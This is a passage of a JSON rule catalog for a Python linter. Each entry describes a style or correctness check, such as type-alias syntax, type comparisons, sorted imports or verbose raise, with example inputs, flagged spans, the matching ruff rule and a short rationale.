        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          7,
          8,
          10,
          11,
          13,
          21,
          26,
          33,
          35,
          38,
          43,
          44,
          48,
          49,
          53
        ],
        "spans": [
          {
            "column": 1,
            "length": 18,
            "line": 17
          }
        ]
      },
      "fix": null,
      "id": "type-alias-annotation",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP040",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP040/"
        }
      ],
      "why": "`type X = ...` declares the alias as one, evaluates the right side lazily (so it can refer to later names) and needs no import of `TypeAlias`.\n\nTo fix, write `type X = ...`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a branch tested with `isinstance`, `issubclass` or `callable` that raises a builtin exception other than `TypeError` (`NotImplementedError` is accepted too).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "try:\n    pass\nexcept Exception:\n    pass\n\nif a:\n    if b:\n        pass\n\ntry:\n    pass\nexcept Exception:\n    pass\n\nbreakpoint()\n\ndef f(x):\n    if x:\n        return True\n    return False\n\nif a:\n    x = 1\nelif b:\n    x = 1\n\nf = open(\"a\")\n\nwith a:\n    with b:\n        pass\n\nraise Exception(\"x\")\n\nif not isinstance(x, int):\n    raise ValueError(\"x\")\n\ndef f(x):\n    if x:\n        return None\n    print(x)\n\nx = 1\nx\n\ntry:\n    pass\nexcept ValueError as e:\n    raise e\n\ndef f():\n    raise\n\nexec(\"x = 1\")\n\nhasattr(x, \"__call__\")\n",
        "language": "python",
        "other_lines": [
          3,
          6,
          7,
          12,
          15,
          18,
          22,
          24,
          27,
          29,
          30,
          33,
          35,
          38,
          40,
          44,
          49,
          51,
          52,
          54,
          56
        ],
        "spans": [
          {
            "column": 5,
            "length": 21,
            "line": 36
          }
        ]
      },
      "fix": null,
      "id": "type-check-without-type-error",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "TRY004",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/TRY004/"
        }
      ],
      "why": "A value of the wrong type is what `TypeError` means, and callers catch it for that case. A `ValueError` or `Exception` there makes them handle a type mistake as a bad value.\n\nTo fix, raise `TypeError`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a comparison with `==` or `!=` where one side is `type(x)` or a builtin class such as `int`. A name that shadows the builtin is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = 1\ntype(a) == type(b)\ntype(a) != int\nint == type(a)\ntype(a) is int\nisinstance(a, int)\n",
        "language": "python",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 18,
            "line": 2
          },
          {
            "column": 1,
            "length": 14,
            "line": 3
          },
          {
            "column": 1,
            "length": 14,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "type-comparison",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E721",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E721/"
        }
      ],
      "why": "`type(x) == int` is false for a subclass (a `bool` is not an `int` by this test, and an enum with `int` as a base is not either), while `isinstance(x, int)` says what is usually meant. When the exact type is meant, `is` states it.\n\nTo fix, use `isinstance(x, int)`, or `type(x) is int` for an exact match."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `TypeVar` with `covariant=True` whose name does not end in `_co`, or with `contravariant=True` and a name that does not end in `_contra`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          7,
          8,
          10,
          11,
          13,
          17,
          21,
          26,
          33,
          35,
          38,
          43,
          44,
          48,
          49
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 53
          }
        ]
      },
      "fix": null,
      "id": "type-var-name-variance",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "PLC0105",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/PLC0105/"
        }
      ],
      "why": "The suffixes are the convention of the typing documentation and of the standard library stubs. A reader sees the variance in every annotation that uses the name, without finding the declaration.\n\nTo fix, rename the variable with the suffix."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a name in `__all__` that the module does not bind.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "__all__ = [\"present\", \"missing\"]\npresent = 1\nprint(undefined, present, len)\n\n\ndef reads_before_assignment():\n    print(present)\n    present = 2\n\n\ndef handled():\n    try:\n        name_error_is_handled\n    except NameError:\n        pass\n    del present\n    del not_bound\n\n\ndef annotations(a: \"Missing\", b: \"bad syntax here\"):\n    x: int\n    print(x)\n\n\nclass K:\n    attr = 1\n    print(attr, __qualname__)\n\n    def method(self):\n        return attr\n",
        "language": "python",
        "other_lines": [
          3,
          7,
          8,
          13,
          16,
          17,
          20,
          22,
          30
        ],
        "spans": [
          {
            "column": 23,
            "length": 9,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "undefined-export",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F822",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F822/"
        }
      ],
      "why": "`from module import *` raises `AttributeError` for a name that `__all__` lists and the module does not define, and the mistake (a misspelling or a removed function) stays hidden until someone imports the module with a star.\n\nTo fix, correct the name or remove it from `__all__`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a name that no scope binds in a file that has a star import.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from star import *\n\n__all__ = [\"present\", \"from_star\"]\npresent = 1\nprint(undefined, present, len)\n\n\ndef nested():\n    from other import *\n\n\ndef f(a: \"Missing\"):\n    x: int\n    print(x)\n",
        "language": "python",
        "other_lines": [
          1,
          9,
          14
        ],
        "spans": [
          {
            "column": 23,
            "length": 11,
            "line": 3
          },
          {
            "column": 7,
            "length": 9,
            "line": 5
          },
          {
            "column": 11,
            "length": 7,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "undefined-local-with-import-star-usage",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "F405",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F405/"
        }
      ],
      "why": "With `from m import *` the names it brings in are not visible to a reader or a tool, so a name that is defined nowhere in the file may come from the import or may be a misspelling. The same file without the star import would be reported as undefined.\n\nTo fix, import the names that are used, or define them."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a star import in a function or class.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from star import *\n\n__all__ = [\"present\", \"from_star\"]\npresent = 1\nprint(undefined, present, len)\n\n\ndef nested():\n    from other import *\n\n\ndef f(a: \"Missing\"):\n    x: int\n    print(x)\n",
        "language": "python",
        "other_lines": [
          1,
          3,
          5,
          12,
          14
        ],
        "spans": [
          {
            "column": 5,
            "length": 19,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "undefined-local-with-nested-import-star-usage",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F406",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F406/"
        }
      ],
      "why": "Python rejects the file with `SyntaxError: import * only allowed at module level` since a function's local names are fixed when it is compiled and cannot depend on what a module defines.\n\nTo fix, import the names you need, or move the import to module level."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a string with the `u` prefix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import select\nimport socket\n\nBase = M = f = 1\n\n\nclass A(object):\n    pass\n\n\nclass B(Base, object, metaclass=M):\n    pass\n\n\nx = u\"a\" \"b\"\ny = f(u\"a\", \"b\")\n\ntry:\n    pass\nexcept IOError:\n    pass\nexcept (EnvironmentError, ValueError, socket.error):\n    pass\nexcept select.error:\n    pass\nraise IOError(\"x\")\nx = IOError\n",
        "language": "python",
        "other_lines": [
          7,
          11,
          20,
          22,
          24,
          26,
          27
        ],
        "spans": [
          {
            "column": 5,
            "length": 4,
            "line": 15
          },
          {
            "column": 7,
            "length": 4,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "unicode-literal",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP025",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP025/"
        }
      ],
      "why": "In Python 3 every `str` is Unicode, so `u\"text\"` and `\"text\"` are the same. The prefix was needed to bridge Python 2.\n\nTo fix, remove the `u`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `typing.Union[...]` subscript when the `target_version` has `X | Y` (3.10 and later).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          8,
          10,
          11,
          13,
          17,
          21,
          26,
          33,
          35,
          38,
          43,
          44,
          48,
          49,
          53
        ],
        "spans": [
          {
            "column": 4,
            "length": 15,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "union-annotation",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP007",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP007/"
        }
      ],
      "why": "`Union[X, Y]` is the same type as `X | Y`, which needs no import and reads like the other uses of `|`.\n\nTo fix, write `X | Y`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `dict()`, `list()` or `tuple()` with no arguments, and `dict(a=1)` with only keyword arguments.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import pprint\nfrom pprint import pprint as pp\n\na = b = c = f = 1\n\nprint(1)\nprint()\nprint(\"x\", file=f)\nprint(\"x\", file=None)\npprint.pprint(1)\npp(2)\npprint(3)\nx = dict()\nx = dict(a=1)\nx = dict(**a)\nx = dict(a, b=1)\nx = list()\nx = tuple()\nx = list(a)\nx = a.startswith(\"a\") or a.startswith(\"b\")\nx = a.endswith(\"a\") or a.endswith((\"b\", \"c\")) or c\nx = a.startswith(\"a\") or b.startswith(\"b\")\nx = a.startswith(\"a\") and a.startswith(\"b\")\nx = a.startswith(\"a\") or a.endswith(\"b\")\nif a:\n    pass\n    pass\nelse:\n    ...\n    x = 1\n\n\ndef f():\n    \"\"\"doc\"\"\"\n    ...\n\n\nclass C:\n    pass\n",
        "language": "python",
        "other_lines": [
          6,
          7,
          9,
          10,
          11,
          20,
          21,
          26,
          27,
          29,
          35
        ],
        "spans": [
          {
            "column": 5,
            "length": 6,
            "line": 13
          },
          {
            "column": 5,
            "length": 9,
            "line": 14
          },
          {
            "column": 5,
            "length": 6,
            "line": 17
          },
          {
            "column": 5,
            "length": 7,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "unnecessary-collection-call",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "C408",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/C408/"
        }
      ],
      "why": "A literal (`{}`, `[]`, `()`, `{\"a\": 1}`) says the same, needs no name lookup and call, and is faster.\n\nTo fix, write the literal."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `pass` or `...` statement in a body that has two statements or more.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import pprint\nfrom pprint import pprint as pp\n\na = b = c = f = 1\n\nprint(1)\nprint()\nprint(\"x\", file=f)\nprint(\"x\", file=None)\npprint.pprint(1)\npp(2)\npprint(3)\nx = dict()\nx = dict(a=1)\nx = dict(**a)\nx = dict(a, b=1)\nx = list()\nx = tuple()\nx = list(a)\nx = a.startswith(\"a\") or a.startswith(\"b\")\nx = a.endswith(\"a\") or a.endswith((\"b\", \"c\")) or c\nx = a.startswith(\"a\") or b.startswith(\"b\")\nx = a.startswith(\"a\") and a.startswith(\"b\")\nx = a.startswith(\"a\") or a.endswith(\"b\")\nif a:\n    pass\n    pass\nelse:\n    ...\n    x = 1\n\n\ndef f():\n    \"\"\"doc\"\"\"\n    ...\n\n\nclass C:\n    pass\n",
        "language": "python",
        "other_lines": [
          6,
          7,
          9,
          10,
          11,
          13,
          14,
          17,
          18,
          20,
          21
        ],
        "spans": [
          {
            "column": 5,
            "length": 4,
            "line": 26
          },
          {
            "column": 5,
            "length": 4,
            "line": 27
          },
          {
            "column": 5,
            "length": 3,
            "line": 29
          },
          {
            "column": 5,
            "length": 3,
            "line": 35
          }
        ]
      },
      "fix": null,
      "id": "unnecessary-placeholder",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "PIE790",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/PIE790/"
        }
      ],
      "why": "`pass` and `...` stand for \"nothing here\". Next to other statements they only suggest that something was removed.\n\nTo fix, delete the statement."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `__all__` list or tuple of strings that is out of order: constants (upper case) first, then classes (capitalized), then the rest, each group in natural order.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          2,
          6,
          8,
          10,
          11,
          14,
          18,
          19,
          21,
          22,
          25,
          26,
          30,
          33,
          34,
          37,
          39,
          41,
          43,
          44
        ],
        "spans": [
          {
            "column": 11,
            "length": 10,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "unsorted-dunder-all",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "RUF022",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/RUF022/"
        }
      ],
      "why": "A sorted list is easy to scan for a name, a merge does not put the same name in twice, and an added name has one obvious place.\n\nTo fix, sort the list."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `__slots__` list or tuple of strings that is not in natural order.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          2,
          6,
          8,
          10,
          11,
          14,
          16,
          18,
          21,
          22,
          25,
          26,
          30,
          33,
          34,
          37,
          39,
          41,
          43,
          44
        ],
        "spans": [
          {
            "column": 17,
            "length": 10,
            "line": 19
          }
        ]
      },
      "fix": null,
      "id": "unsorted-dunder-slots",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "RUF023",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/RUF023/"
        }
      ],
      "why": "A sorted list is easy to scan for a name, a merge does not put the same name in twice, and an added name has one obvious place.\n\nTo fix, sort the list."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a block of imports that differs from the sorted layout. The sections are `__future__`, the standard library, third party, first party and relative imports, with a blank line between them and after the block (two before a definition at module level). Within a section `import x` comes before `from x import y`, names are in natural order without regard to case, and members are ordered as constants, classes, then the rest. One statement is written for each module, and a `from` import over `line_width` columns (88) is wrapped in parentheses, one member to a line. The options `sections` and `force_sort_within_sections` change the order. A folder or file next to the file, in the project root or in its `src` folder, is first party.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          2,
          6,
          10,
          11,
          14,
          16,
          18,
          19,
          22,
          25,
          26,
          30,
          34,
          37,
          39,
          41,
          44
        ],
        "spans": [
          {
            "column": 1,
            "length": 15,
            "line": 8
          },
          {
            "column": 1,
            "length": 1,
            "line": 21
          },
          {
            "column": 1,
            "length": 17,
            "line": 33
          },
          {
            "column": 1,
            "length": 9,
            "line": 43
          }
        ]
      },
      "fix": null,
      "id": "unsorted-imports",
      "languages": [
        "python"
      ],
      "options": [
        {
          "default": [
            "future",
            "standard-library",
            "third-party",
            "first-party",
            "local-folder"
          ],
          "description": "The sections of the block in the order they are written; a section left out comes last.",
          "name": "sections",
          "type": "list"
        },
        {
          "default": false,
          "description": "Sort `import x` and `from x import y` together by module instead of the plain imports first.",
          "name": "force_sort_within_sections",
          "type": "bool"
        },
        {
          "default": 88,
          "description": "A `from` import over this many columns is wrapped in parentheses, one member to a line.",
          "name": "line_width",
          "type": "int"
        }
      ],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "I001",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/I001/"
        }
      ],
      "why": "Imports in one fixed order show at a glance which dependencies a file has, a new import has one place, and merge conflicts in the import block are rare. An order that a tool can check needs no discussion in a review.\n\nTo fix, sort the block by hand or with an import sorter."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a local variable that is annotated without a value and never read.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f(items):\n    unused = 1\n    used = 2\n    a, b = items\n    c = d = 3\n    (e := 4)\n    with items as w:\n        pass\n    for i in items:\n        pass\n    try:\n        pass\n    except ValueError as err:\n        pass\n    _ = 5\n    annotated: int\n    kept: int = 6\n    __tracebackhide__ = True\n    return used, kept\n\n\ndef uses_locals():\n    hidden = 1\n    return locals()\n\n\ndef global_names():\n    global counter\n    counter = 1\n\n    def inner():\n        nonlocal captured\n        captured = 2\n\n    captured = 0\n    return inner\n\n\nlam = lambda: (walrus := 1)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          6,
          7,
          13,
          39
        ],
        "spans": [
          {
            "column": 5,
            "length": 9,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "unused-annotation",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F842",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F842/"
        }
      ],
      "why": "`x: int` in a function declares a type and binds nothing. If the name is never used afterwards it is dead code left from a change.\n\nTo fix, remove it, or assign a value that is used."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a name of a tuple target in a function that the function never reads. A name that starts with `_` and a function that calls `locals()` are left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          6,
          8,
          10,
          11,
          14,
          16,
          18,
          19,
          21,
          22,
          25,
          26,
          30,
          33,
          34,
          37,
          39,
          41,
          43,
          44
        ],
        "spans": [
          {
            "column": 8,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "unused-unpacked-variable",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "RUF059",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/RUF059/"
        }
      ],
      "why": "`a, b = f()` where `b` is not used binds a value for nothing, and the reader looks for where it is used. The unused value is also a hint that the function returns more than the caller needs.\n\nTo fix, name it `_`, or take only the items that are used."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `import a as a` and `from m import a as a`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          2,
          6,
          10,
          11,
          14,
          16,
          18,
          19,
          21,
          22,
          25,
          26,
          30,
          33,
          34,
          37,
          39,
          41,
          43,
          44
        ],
        "spans": [
          {
            "column": 8,
            "length": 8,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "useless-import-alias",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "PLC0414",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/PLC0414/"
        }
      ],
      "why": "The alias repeats the name, so it adds nothing in an ordinary import. Type checkers read the form as an explicit re-export, but the rule still reports it.\n\nTo fix, remove the alias."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a class that has the builtin `object` as a base.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import select\nimport socket\n\nBase = M = f = 1\n\n\nclass A(object):\n    pass\n\n\nclass B(Base, object, metaclass=M):\n    pass\n\n\nx = u\"a\" \"b\"\ny = f(u\"a\", \"b\")\n\ntry:\n    pass\nexcept IOError:\n    pass\nexcept (EnvironmentError, ValueError, socket.error):\n    pass\nexcept select.error:\n    pass\nraise IOError(\"x\")\nx = IOError\n",
        "language": "python",
        "other_lines": [
          15,
          16,
          20,
          22,
          24,
          26,
          27
        ],
        "spans": [
          {
            "column": 9,
            "length": 6,
            "line": 7
          },
          {
            "column": 15,
            "length": 6,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "useless-object-inheritance",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP004",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP004/"
        }
      ],
      "why": "Every class of Python 3 inherits from `object`, so naming it changes nothing. The base was needed for new-style classes in Python 2.\n\nTo fix, remove the base."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `;` at the end of a line.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          8,
          9,
          10,
          15,
          19,
          23,
          26,
          27,
          28,
          30,
          33,
          37,
          41,
          44,
          46
        ],
        "spans": [
          {
            "column": 17,
            "length": 1,
            "line": 29
          }
        ]
      },
      "fix": null,
      "id": "useless-semicolon",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E703",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E703/"
        }
      ],
      "why": "Python does not need it, and it comes from other languages. A reader looks for a second statement after it.\n\nTo fix, remove the semicolon."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `raise e` in an `except ... as e` clause.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "try:\n    pass\nexcept Exception:\n    pass\n\nif a:\n    if b:\n        pass\n\ntry:\n    pass\nexcept Exception:\n    pass\n\nbreakpoint()\n\ndef f(x):\n    if x:\n        return True\n    return False\n\nif a:\n    x = 1\nelif b:\n    x = 1\n\nf = open(\"a\")\n\nwith a:\n    with b:\n        pass\n\nraise Exception(\"x\")\n\nif not isinstance(x, int):\n    raise ValueError(\"x\")\n\ndef f(x):\n    if x:\n        return None\n    print(x)\n\nx = 1\nx\n\ntry:\n    pass\nexcept ValueError as e:\n    raise e\n\ndef f():\n    raise\n\nexec(\"x = 1\")\n\nhasattr(x, \"__call__\")\n",
        "language": "python",
        "other_lines": [
          3,
          6,
          7,
          12,
          15,
          18,
          22,
          24,
          27,
          29,
          30,
          33,
          35,
          36,
          38,
          40,
          44,
          51,
          52,
          54,
          56
        ],
        "spans": [
          {
            "column": 5,
            "length": 7,
            "line": 49
          }
        ]
      },
      "fix": null,
      "id": "verbose-raise",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "TRY201",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/TRY201/"
        }
      ],
